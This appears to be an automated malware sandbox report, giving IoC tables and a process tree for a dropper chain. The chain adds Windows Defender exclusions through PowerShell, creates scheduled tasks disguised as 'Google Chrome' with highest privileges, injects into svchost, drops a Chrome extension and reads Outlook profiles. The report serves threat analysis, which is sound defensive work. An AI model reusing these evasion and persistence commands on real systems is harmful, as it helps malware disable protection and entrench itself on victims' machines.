6596	schtasks.exe
7172	schtasks.exe
1864	schtasks.exe
4512	schtasks.exe
832	schtasks.exe
4424	schtasks.exe
5964	schtasks.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
700	89Qm0ugfHs.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2848	random.exe
2848	random.exe
908	random.exe
908	random.exe
5312	random.exe
5312	random.exe
4964	NSudoLG.exe
4964	NSudoLG.exe
3956	NSudoLG.exe
3956	NSudoLG.exe
2460	svchostmanager.exe
2460	svchostmanager.exe
5544	svchostmanager.exe
5544	svchostmanager.exe
1644	IObitUnlocker.exe
1644	IObitUnlocker.exe
1644	IObitUnlocker.exe
1644	IObitUnlocker.exe
228	IObitUnlocker.exe
228	IObitUnlocker.exe
228	IObitUnlocker.exe
228	IObitUnlocker.exe
5044	IObitUnlocker.exe
5044	IObitUnlocker.exe
5044	IObitUnlocker.exe
5044	IObitUnlocker.exe
3512	IObitUnlocker.exe
3512	IObitUnlocker.exe
3512	IObitUnlocker.exe
3512	IObitUnlocker.exe
3156	IObitUnlocker.exe
3156	IObitUnlocker.exe
3156	IObitUnlocker.exe
3156	IObitUnlocker.exe
1908	IObitUnlocker.exe
1908	IObitUnlocker.exe
1908	IObitUnlocker.exe
1908	IObitUnlocker.exe
5132	IObitUnlocker.exe
5132	IObitUnlocker.exe
5132	IObitUnlocker.exe
5132	IObitUnlocker.exe
3204	IObitUnlocker.exe
3204	IObitUnlocker.exe
3204	IObitUnlocker.exe
3204	IObitUnlocker.exe
2904	IObitUnlocker.exe
2904	IObitUnlocker.exe
2904	IObitUnlocker.exe
2904	IObitUnlocker.exe
5936	IObitUnlocker.exe
5936	IObitUnlocker.exe
5936	IObitUnlocker.exe
5936	IObitUnlocker.exe
3048	IObitUnlocker.exe
3048	IObitUnlocker.exe
3048	IObitUnlocker.exe
3048	IObitUnlocker.exe
396	IObitUnlocker.exe
396	IObitUnlocker.exe
396	IObitUnlocker.exe
396	IObitUnlocker.exe
3736	IObitUnlocker.exe
3736	IObitUnlocker.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
5796	hJI8LdTnvv.exe

Suspicious behavior: LoadsDriver 41 IoCs

pid	Process
676	Process not Found
676	Process not Found
676	Process not Found
676	Process not Found
676	Process not Found
676	Process not Found
676	Process not Found
676	Process not Found
676	Process not Found
676	Process not Found
676	Process not Found
676	Process not Found
676	Process not Found
676	Process not Found
676	Process not Found
676	Process not Found
676	Process not Found
676	Process not Found
676	Process not Found
676	Process not Found
676	Process not Found
676	Process not Found
676	Process not Found
676	Process not Found
676	Process not Found
676	Process not Found
676	Process not Found
676	Process not Found
676	Process not Found
676	Process not Found
676	Process not Found
676	Process not Found
676	Process not Found
676	Process not Found
676	Process not Found
676	Process not Found
676	Process not Found
676	Process not Found
676	Process not Found
676	Process not Found
676	Process not Found

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 20 IoCs

pid	Process
1144	chrome.exe
1144	chrome.exe
1144	chrome.exe
1144	chrome.exe
800	msedge.exe
800	msedge.exe
4332	chrome.exe
4332	chrome.exe
4332	chrome.exe
4332	chrome.exe
4332	chrome.exe
8048	msedge.exe
8048	msedge.exe
2748	chrome.exe
2748	chrome.exe
2748	chrome.exe
2748	chrome.exe
2748	chrome.exe
3512	msedge.exe
3512	msedge.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4964	NSudoLG.exe
Token: SeDebugPrivilege	3956	NSudoLG.exe
Token: SeDebugPrivilege	4952	tasklist.exe
Token: SeDebugPrivilege	6052	tasklist.exe
Token: SeRestorePrivilege	4508	7z.exe
Token: 35	4508	7z.exe
Token: SeSecurityPrivilege	4508	7z.exe
Token: SeRestorePrivilege	5964	7z.exe
Token: 35	5964	7z.exe
Token: SeSecurityPrivilege	5964	7z.exe
Token: SeDebugPrivilege	3756	taskkill.exe
Token: SeDebugPrivilege	1684	taskkill.exe
Token: SeRestorePrivilege	2256	reg.exe
Token: SeRestorePrivilege	3152	reg.exe
Token: SeRestorePrivilege	5320	reg.exe
Token: SeRestorePrivilege	4932	reg.exe
Token: SeLoadDriverPrivilege	1256	game.exe
Token: SeDebugPrivilege	5248	taskkill.exe
Token: SeDebugPrivilege	4360	taskkill.exe
Token: SeDebugPrivilege	3132	taskkill.exe
Token: SeDebugPrivilege	1784	taskkill.exe
Token: SeDebugPrivilege	2388	taskkill.exe
Token: SeLoadDriverPrivilege	3632	game.exe
Token: SeDebugPrivilege	3872	taskkill.exe
Token: SeShutdownPrivilege	1324	msiexec.exe
Token: SeIncreaseQuotaPrivilege	1324	msiexec.exe
Token: SeSecurityPrivilege	1080	msiexec.exe
Token: SeCreateTokenPrivilege	1324	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	1324	msiexec.exe
Token: SeLockMemoryPrivilege	1324	msiexec.exe
Token: SeIncreaseQuotaPrivilege	1324	msiexec.exe
Token: SeMachineAccountPrivilege	1324	msiexec.exe
Token: SeTcbPrivilege	1324	msiexec.exe
Token: SeSecurityPrivilege	1324	msiexec.exe
Token: SeTakeOwnershipPrivilege	1324	msiexec.exe
Token: SeLoadDriverPrivilege	1324	msiexec.exe
Token: SeSystemProfilePrivilege	1324	msiexec.exe
Token: SeSystemtimePrivilege	1324	msiexec.exe
Token: SeProfSingleProcessPrivilege	1324	msiexec.exe
Token: SeIncBasePriorityPrivilege	1324	msiexec.exe
Token: SeCreatePagefilePrivilege	1324	msiexec.exe
Token: SeCreatePermanentPrivilege	1324	msiexec.exe
Token: SeBackupPrivilege	1324	msiexec.exe
Token: SeRestorePrivilege	1324	msiexec.exe
Token: SeShutdownPrivilege	1324	msiexec.exe
Token: SeDebugPrivilege	1324	msiexec.exe
Token: SeAuditPrivilege	1324	msiexec.exe
Token: SeSystemEnvironmentPrivilege	1324	msiexec.exe
Token: SeChangeNotifyPrivilege	1324	msiexec.exe
Token: SeRemoteShutdownPrivilege	1324	msiexec.exe
Token: SeUndockPrivilege	1324	msiexec.exe
Token: SeSyncAgentPrivilege	1324	msiexec.exe
Token: SeEnableDelegationPrivilege	1324	msiexec.exe
Token: SeManageVolumePrivilege	1324	msiexec.exe
Token: SeImpersonatePrivilege	1324	msiexec.exe
Token: SeCreateGlobalPrivilege	1324	msiexec.exe
Token: SeRestorePrivilege	1080	msiexec.exe
Token: SeTakeOwnershipPrivilege	1080	msiexec.exe
Token: SeRestorePrivilege	1080	msiexec.exe
Token: SeTakeOwnershipPrivilege	1080	msiexec.exe
Token: SeRestorePrivilege	1080	msiexec.exe
Token: SeTakeOwnershipPrivilege	1080	msiexec.exe
Token: SeRestorePrivilege	1080	msiexec.exe
Token: SeTakeOwnershipPrivilege	1080	msiexec.exe

Suspicious use of FindShellTrayWindow 64 IoCs

pid	Process
1144	chrome.exe
1144	chrome.exe
1144	chrome.exe
1144	chrome.exe
1144	chrome.exe
1144	chrome.exe
1144	chrome.exe
1144	chrome.exe
1144	chrome.exe
1144	chrome.exe
1144	chrome.exe
1144	chrome.exe
1144	chrome.exe
1144	chrome.exe
1144	chrome.exe
1144	chrome.exe
1144	chrome.exe
1144	chrome.exe
1144	chrome.exe
1144	chrome.exe
1144	chrome.exe
1144	chrome.exe
1144	chrome.exe
1144	chrome.exe
1144	chrome.exe
1144	chrome.exe
1144	chrome.exe
1144	chrome.exe
1144	chrome.exe
1144	chrome.exe
1144	chrome.exe
1144	chrome.exe
1144	chrome.exe
1144	chrome.exe
800	msedge.exe
4332	chrome.exe
4332	chrome.exe
4332	chrome.exe
4332	chrome.exe
4332	chrome.exe
4332	chrome.exe
4332	chrome.exe
4332	chrome.exe
4332	chrome.exe
4332	chrome.exe
4332	chrome.exe
4332	chrome.exe
4332	chrome.exe
4332	chrome.exe
4332	chrome.exe
4332	chrome.exe
4332	chrome.exe
4332	chrome.exe
4332	chrome.exe
4332	chrome.exe
4332	chrome.exe
4332	chrome.exe
4332	chrome.exe
4332	chrome.exe
4332	chrome.exe
4332	chrome.exe
4332	chrome.exe
4332	chrome.exe
4332	chrome.exe

Suspicious use of SetWindowsHookEx 23 IoCs

pid	Process
1644	IObitUnlocker.exe
228	IObitUnlocker.exe
5044	IObitUnlocker.exe
3512	IObitUnlocker.exe
3156	IObitUnlocker.exe
1908	IObitUnlocker.exe
5132	IObitUnlocker.exe
3204	IObitUnlocker.exe
2904	IObitUnlocker.exe
5936	IObitUnlocker.exe
3048	IObitUnlocker.exe
396	IObitUnlocker.exe
3736	IObitUnlocker.exe
3096	IObitUnlocker.exe
2292	IObitUnlocker.exe
4396	IObitUnlocker.exe
5740	IObitUnlocker.exe
2932	IObitUnlocker.exe
1568	IObitUnlocker.exe
4892	IObitUnlocker.exe
3172	IObitUnlocker.exe
2288	IObitUnlocker.exe
700	89Qm0ugfHs.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2848 wrote to memory of 2460	2848	random.exe	79
PID 2848 wrote to memory of 3668	2848	random.exe	80
PID 2848 wrote to memory of 3536	2848	random.exe	81
PID 908 wrote to memory of 5544	908	random.exe	85
PID 2848 wrote to memory of 5928	2848	random.exe	86
PID 5312 wrote to memory of 1008	5312	random.exe	89
PID 908 wrote to memory of 4968	908	random.exe	366
PID 908 wrote to memory of 2180	908	random.exe	91
PID 2180 wrote to memory of 1864	2180	cmd.exe	93
PID 908 wrote to memory of 1988	908	random.exe	94
PID 1988 wrote to memory of 2456	1988	systemhelper.exe	95
PID 2456 wrote to memory of 1856	2456	cmd.exe	99
PID 2456 wrote to memory of 3184	2456	cmd.exe	100
PID 2456 wrote to memory of 1668	2456	cmd.exe	101
PID 2456 wrote to memory of 2612	2456	cmd.exe	102
PID 2456 wrote to memory of 4964	2456	cmd.exe	337
PID 5312 wrote to memory of 456	5312	random.exe	104
PID 2848 wrote to memory of 4336	2848	random.exe	105
PID 5312 wrote to memory of 2176	5312	random.exe	106
PID 4336 wrote to memory of 4512	4336	cmd.exe	108
PID 2848 wrote to memory of 2640	2848	random.exe	109
PID 2640 wrote to memory of 3588	2640	systemhelper.exe	112
PID 3588 wrote to memory of 4820	3588	cmd.exe	115
PID 3588 wrote to memory of 236	3588	cmd.exe	116
PID 3588 wrote to memory of 112	3588	cmd.exe	117
PID 3588 wrote to memory of 1208	3588	cmd.exe	118
PID 3588 wrote to memory of 3956	3588	cmd.exe	119
PID 3668 wrote to memory of 4900	3668	svchostam.exe	120
PID 5312 wrote to memory of 4468	5312	random.exe	121
PID 2456 wrote to memory of 4472	2456	cmd.exe	124
PID 3588 wrote to memory of 4856	3588	cmd.exe	209
PID 2456 wrote to memory of 3624	2456	cmd.exe	126
PID 3588 wrote to memory of 4876	3588	cmd.exe	127
PID 2456 wrote to memory of 5592	2456	cmd.exe	128
PID 2456 wrote to memory of 1784	2456	cmd.exe	129
PID 3588 wrote to memory of 2008	3588	cmd.exe	130
PID 3588 wrote to memory of 1912	3588	cmd.exe	131
PID 2456 wrote to memory of 1520	2456	cmd.exe	132
PID 3588 wrote to memory of 1348	3588	cmd.exe	133
PID 1520 wrote to memory of 4952	1520	cmd.exe	134
PID 1348 wrote to memory of 6052	1348	cmd.exe	221
PID 2456 wrote to memory of 3168	2456	cmd.exe	137
PID 3588 wrote to memory of 2132	3588	cmd.exe	138
PID 2456 wrote to memory of 2768	2456	cmd.exe	139
PID 3588 wrote to memory of 1484	3588	cmd.exe	140
PID 2456 wrote to memory of 836	2456	cmd.exe	141
PID 3588 wrote to memory of 5320	3588	cmd.exe	227
PID 2456 wrote to memory of 4172	2456	cmd.exe	143
PID 3588 wrote to memory of 3276	3588	cmd.exe	144
PID 2456 wrote to memory of 4720	2456	cmd.exe	145
PID 3588 wrote to memory of 2284	3588	cmd.exe	146
PID 2456 wrote to memory of 4628	2456	cmd.exe	147
PID 3588 wrote to memory of 5548	3588	cmd.exe	148
PID 2456 wrote to memory of 4908	2456	cmd.exe	149
PID 3588 wrote to memory of 4800	3588	cmd.exe	327
PID 2456 wrote to memory of 5784	2456	cmd.exe	151
PID 3588 wrote to memory of 4156	3588	cmd.exe	152
PID 2456 wrote to memory of 3376	2456	cmd.exe	153
PID 2456 wrote to memory of 2932	2456	cmd.exe	154
PID 3588 wrote to memory of 2444	3588	cmd.exe	331
PID 3588 wrote to memory of 4424	3588	cmd.exe	156
PID 2456 wrote to memory of 2580	2456	cmd.exe	353
PID 3588 wrote to memory of 4524	3588	cmd.exe	158
PID 2456 wrote to memory of 4416	2456	cmd.exe	159

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-600123060-2148212387-2211176695-1000\Software\Microsoft\Office\14.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	c36f0a3f9c.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-600123060-2148212387-2211176695-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	c36f0a3f9c.exe

C:\Users\Admin\AppData\Local\Temp\random.exe
"C:\Users\Admin\AppData\Local\Temp\random.exe"
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2848
- C:\Users\Admin\AppData\Local\Temp\svchostmanager.exe
  "C:\Users\Admin\AppData\Local\Temp\svchostmanager.exe"
  2⤵
  - Checks BIOS information in registry
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  PID:2460
- C:\Users\Admin\AppData\Local\Temp\svchostam.exe
  "C:\Users\Admin\AppData\Local\Temp\svchostam.exe"
  2⤵
  - Downloads MZ/PE file
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Modifies registry class
  - Suspicious use of WriteProcessMemory
  PID:3668
- - C:\Users\Admin\AppData\Local\Temp\12433700101\M94scZj.exe
    "C:\Users\Admin\AppData\Local\Temp\12433700101\M94scZj.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    PID:4900
  - - C:\Windows\system32\svchost.exe
      "C:\Windows\system32\svchost.exe"
      4⤵
      Downloads MZ/PE file
      Accesses Microsoft Outlook profiles
      Checks processor information in registry
      PID:4496
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --profile-directory="Default"
        5⤵
        Drops file in Windows directory
        Enumerates system info in registry
        Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
        Suspicious use of FindShellTrayWindow
        
        PID:1144
      - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffdd0bbc728,0x7ffdd0bbc734,0x7ffdd0bbc740
        6⤵
        
        PID:4724
      - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1700,i,7418307085205050954,15782903004514265794,262144 --field-trial-handle=1968,i,1700450368553276711,10875440381610093938,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=1964 /prefetch:2
        6⤵
        
        PID:3832
      - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=1516,i,4284352775746189972,15298342538057140185,524288 --field-trial-handle=1968,i,1700450368553276711,10875440381610093938,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=2476 /prefetch:11
        6⤵
        System Time Discovery
        
        PID:5732
      - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2276,i,17356076317347494836,7056336916536742027,524288 --field-trial-handle=1968,i,1700450368553276711,10875440381610093938,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=2484 /prefetch:13
        6⤵
        
        PID:6004
      - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3208,i,5804122553210723412,432822895066090193,2097152 --field-trial-handle=1968,i,1700450368553276711,10875440381610093938,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=3284 /prefetch:1
        6⤵
        
        PID:1908
      - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3216,i,13573570058966255505,236627067513769227,2097152 --field-trial-handle=1968,i,1700450368553276711,10875440381610093938,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=3308 /prefetch:1
        6⤵
        
        PID:5888
      - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=4260,i,4343570951917160018,4784443921065628104,2097152 --field-trial-handle=1968,i,1700450368553276711,10875440381610093938,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=4280 /prefetch:9
        6⤵
        
        PID:656
      - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=4644,i,8602093943080874118,8516593651245216634,2097152 --field-trial-handle=1968,i,1700450368553276711,10875440381610093938,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=4664 /prefetch:1
        6⤵
        
        PID:1352
      - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=4844,i,7675219185392408164,8650676325301247457,524288 --field-trial-handle=1968,i,1700450368553276711,10875440381610093938,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=4816 /prefetch:14
        6⤵
        
        PID:4928
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --profile-directory="Default"
        5⤵
        Drops file in Windows directory
        Enumerates system info in registry
        Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
        Suspicious use of FindShellTrayWindow
        
        PID:800
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2e0,0x2e4,0x2e8,0x2dc,0x2f4,0x7ffdcd27c188,0x7ffdcd27c194,0x7ffdcd27c1a0
        6⤵
        
        PID:2804
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1716,i,7059323854139557421,5780157363240483996,524288 --field-trial-handle=2556,i,13320472747312383463,11257073847184105149,262144 --variations-seed-version --mojo-platform-channel-handle=2584 /prefetch:11
        6⤵
        System Time Discovery
        
        PID:3252
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2236,i,14915872318173978196,116418279502303218,524288 --field-trial-handle=2556,i,13320472747312383463,11257073847184105149,262144 --variations-seed-version --mojo-platform-channel-handle=2592 /prefetch:13
        6⤵
        
        PID:1136
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1596,i,3288630449970530671,14082422623253176832,262144 --field-trial-handle=2556,i,13320472747312383463,11257073847184105149,262144 --variations-seed-version --mojo-platform-channel-handle=2552 /prefetch:2
        6⤵
        
        PID:1932
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3452,i,419541607575954518,14539530230104120538,2097152 --field-trial-handle=2556,i,13320472747312383463,11257073847184105149,262144 --variations-seed-version --mojo-platform-channel-handle=3496 /prefetch:1
        6⤵
        
        PID:4504
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --instant-process --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3424,i,1738006656720016251,4594585067813195451,2097152 --field-trial-handle=2556,i,13320472747312383463,11257073847184105149,262144 --variations-seed-version --mojo-platform-channel-handle=3760 /prefetch:1
        6⤵
        
        PID:5068
    - - C:\Windows\system32\cmd.exe
        
        cmd /c start "" "C:\Users\Admin\AppData\Local\Temp\uK4Jo7kLWV.exe"
        5⤵
        
        PID:5860
      - C:\Users\Admin\AppData\Local\Temp\uK4Jo7kLWV.exe
        
        "C:\Users\Admin\AppData\Local\Temp\uK4Jo7kLWV.exe"
        6⤵
        
        PID:4428
        
        C:\Windows\SYSTEM32\schtasks.exe
        
        "schtasks" /create /tn "Google Chrome" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\Google\Chrome.exe" /rl HIGHEST /f
        7⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:832
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        8⤵
        
        PID:3252
        
        C:\Users\Admin\AppData\Roaming\Google\Chrome.exe
        
        "C:\Users\Admin\AppData\Roaming\Google\Chrome.exe"
        7⤵
        
        PID:3676
        
        C:\Windows\SYSTEM32\schtasks.exe
        
        "schtasks" /create /tn "Google Chrome" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\Google\Chrome.exe" /rl HIGHEST /f
        8⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:4424
    - - C:\Windows\system32\cmd.exe
        
        cmd /c start "" "C:\Users\Admin\AppData\Local\Temp\89Qm0ugfHs.exe"
        5⤵
        
        PID:1152
      - C:\Users\Admin\AppData\Local\Temp\89Qm0ugfHs.exe
        
        "C:\Users\Admin\AppData\Local\Temp\89Qm0ugfHs.exe"
        6⤵
        Downloads MZ/PE file
        Drops startup file
        Adds Run key to start application
        Suspicious behavior: AddClipboardFormatListener
        Suspicious use of SetWindowsHookEx
        
        PID:700
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\89Qm0ugfHs.exe'
        7⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5184
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '89Qm0ugfHs.exe'
        7⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4828
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Google.exe'
        7⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5688
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'Google.exe'
        7⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5844
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "Google" /tr "C:\Users\Admin\AppData\Roaming\Google.exe"
        7⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:2984
        
        C:\Users\Admin\AppData\Local\Temp\hjkgvs.exe
        
        "C:\Users\Admin\AppData\Local\Temp\hjkgvs.exe"
        7⤵
        Suspicious use of SetThreadContext
        
        PID:6124
        
        C:\Windows\system32\svchost.exe
        
        "C:\Windows\system32\svchost.exe"
        8⤵
        Checks processor information in registry
        
        PID:2840
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --profile-directory="Default"
        9⤵
        Drops Chrome extension
        Drops file in Windows directory
        Enumerates system info in registry
        Modifies registry class
        Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
        
        PID:2748
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffdda56c728,0x7ffdda56c734,0x7ffdda56c740
        10⤵
        
        PID:7092
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1600,i,9886693505795489910,5561371729983032037,262144 --field-trial-handle=1960,i,10040752859228934598,16767118804909340720,262144 --variations-seed-version --mojo-platform-channel-handle=1956 /prefetch:2
        10⤵
        
        PID:884
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
